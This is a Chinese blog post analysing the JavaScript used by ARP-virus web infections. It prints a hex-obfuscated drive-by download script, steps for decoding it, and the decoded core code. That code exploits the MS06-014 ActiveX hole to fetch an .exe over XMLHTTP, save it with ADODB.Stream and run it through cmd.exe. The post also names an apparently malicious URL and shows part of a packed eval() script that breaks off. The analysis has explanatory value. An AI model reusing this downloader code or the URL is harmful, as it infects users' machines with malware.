分析：arp病毒利用的Javascript技术(2)

" \x76\x61\x72 \x41\x53\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x31\\\x78\x36\x34\\\x78\x36\x46\\\x78\x36\x34\\\x78\x36\x32\\\x78\x32\x45\\\x78\x35\x33\\\x78\x37\x34\\\x78\x37\x32\\\x78\x36\x35\\\x78\x36\x31\\\x78\x36\x44\"\x2c\"\"\x29\x3b" "\n"
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" "\n"
" \x41\x53\x2e\x74\x79\x70\x65\x3d\x31\x3b" "\n"
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" "\n"
" \x4b\x78\x2e\x6f\x70\x65\x6e\x28\"\\\x78\x34\x37\\\x78\x34\x35\\\x78\x35\x34\"\x2c \x44\x5a\x2c\x30\x29\x3b" "\n"
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" "\n"
" \x4b\x78\x2e\x73\x65\x6e\x64\x28\x29\x3b" "\n"
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" "\n"
" \x4e\x73\x31\x3d\x47\x6e\x4d\x73\x28\x39\x39\x39\x39\x29\x3b" "\n"
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" "\n"
" \x76\x61\x72 \x63\x46\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x39\\\x78\x37\x30\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x45\\\x78\x36\x37\\\x78\x32\x45\\\x78\x34\x36\\\x78\x36\x39\\\x78\x36\x43\\\x78\x36\x35\\\x78\x35\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x34\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\"\x2c\"\"\x29\x3b" "\n"
" \x76\x61\x72 \x4e\x73\x54\x6d\x70\x3d\x63\x46\x2e\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6c\x46\x6f\x6c\x64\x65\x72\x28\x30\x29\x3b \x4e\x73\x31\x3d \x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2c\x4e\x73\x31\x29\x3b \x41\x53\x2e\x4f\x70\x65\x6e\x28\x29\x3b\x41\x53\x2e\x57\x72\x69\x74\x65\x28\x4b\x78\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b" "\n"
" \x41\x53\x2e\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65\x28\x4e\x73\x31\x2c\x32\x29\x3b \x41\x53\x2e\x43\x6c\x6f\x73\x65\x28\x29\x3b \x76\x61\x72 \x71\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x38\\\x78\x36\x35\\\x78\x36\x43\\\x78\x36\x43\\\x78\x32\x45\\\x78\x34\x31\\\x78\x37\x30\\\x78\x37\x30\\\x78\x36\x43\\\x78\x36\x39\\\x78\x36\x33\\\x78\x36\x31\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x46\\\x78\x36\x45\"\x2c\"\"\x29\x3b" "\n"
" \x6f\x6b\x31\x3d\x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2b\'\\\x78\x35\x43\\\x78\x35\x43\\\x78\x37\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x33\x33\\\x78\x33\x32\'\x2c\'\\\x78\x36\x33\\\x78\x36\x44\\\x78\x36\x34\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\'\x29\x3b" "\n"
" \x71\x2e\x53\x48\x65\x4c\x4c\x45\x78\x65\x63\x75\x74\x65\x28\x6f\x6b\x31\x2c\'\\\x78\x32\x30\\\x78\x32\x46\\\x78\x36\x33 \'\x2b\x4e\x73\x31\x2c\"\"\x2c\"\\\x78\x36\x46\\\x78\x37\x30\\\x78\x36\x35\\\x78\x36\x45\"\x2c\x30\x29\x3b" "\n"
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" "\n"
"\x7d " "\n"
" \x63\x61\x74\x63\x68\x28\x4d\x73\x49\x29 \x7b \x4d\x73\x49\x3d\x31\x3b \x7d" "\n"
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" "\n"
"\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](StrInfo);

这个代码有点长哦，而且有保护措施，全部转换为十六进制，不过不要害怕，我们有办法解决，首先得确保你已经安装了UE，然后打开UE，把代码粘贴进去（废话，呵呵），把\x替换为%，然后用html代码转换功能，解码，就可以得到第一次解码的代码，第一次？？？，呵呵，这个代码的作者很变态的，做了两次编码，所以我得进行两次解码才行，重复刚才的步骤，然后你就可以看到最终的“原始”代码了；
具体的代码我就不帖出来了，有一定的危害性，相信大家看了上面的步骤都能自己找到代码，这里之说一下比较核心的代码吧；

//核心代码
..............
" var Bf=document.createElement(\"\o\b\j\e\c\t\");" "\n"
" Bf.setAttribute(\"\c\l\a\s\s\i\d\",\"\c\l\s\i\d\:\B\D\9\6\C\5\5\6\-\6\5\A\3\-\1\1\D\0\-\9\8\3\A\-\0\0\C\0\4\F\C\2\9\E\3\6\");" "\n"
" var Kx=Bf.CreateObject(\"\M\i\c\r\o\s\o\f\t\.\X\" \"\M\L\H\T\T\P\",\"\");" "\n"
" var AS=Bf.CreateObject(\"\A\d\o\d\b\.\S\t\r\e\a\m\",\"\");" "\n"
.............
" var cF=Bf.CreateObject(\"\S\c\r\i\p\t\i\n\g\.\F\i\l\e\S\y\s\t\e\m\O\b\j\e\c\t\",\"\");" "\n"
" var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);" "\n"
" AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject(\"\S\h\e\l\l\.\A\p\p\l\i\c\a\t\i\o\n\",\"\");" "\n"
" ok1=cF.BuildPath(NsTmp \'\\\\\s\y\s\t\e\m\3\2\',\'\c\m\d\.\e\x\e\');" "\n"
" q.SHeLLExecute(ok1,\'\ \/\c \' Ns1,\"\",\"\o\p\e\n\",0);" "\n"
..............

上面的就是最为核心的代码，利用MS0614漏洞、创建JS异步对象获取病毒（*.exe）文件，然后运行，这样就达到它的目的啦！

3、打开 http://9-6.IN/s368/T368.htm 查看源代码，又发现一段怪异的JS文件，如下：

<script>
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('x("\\0\\6\\9\\5\\i\\h\\j\\j\\4\\f\\8\\3\\2\\0\\7\\1\\i\\8\\2\\3\\h\\g\\4\\w\\v\\u\\t\\b\\s\\7\\r\\g\\4\\e\\f\\q\\8\\3\\2\\0\\7\\1\\e\\4\\d\\c\\d\\c\\p\\5\\3\\o\\n\\a\\6\\1\\b\\m\\2\\0\\1\\a\\l\\0\\6\\9\\5\\k")',34,34,'151|164|162|143|42|157|156|160|163|146|145|56|12|

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有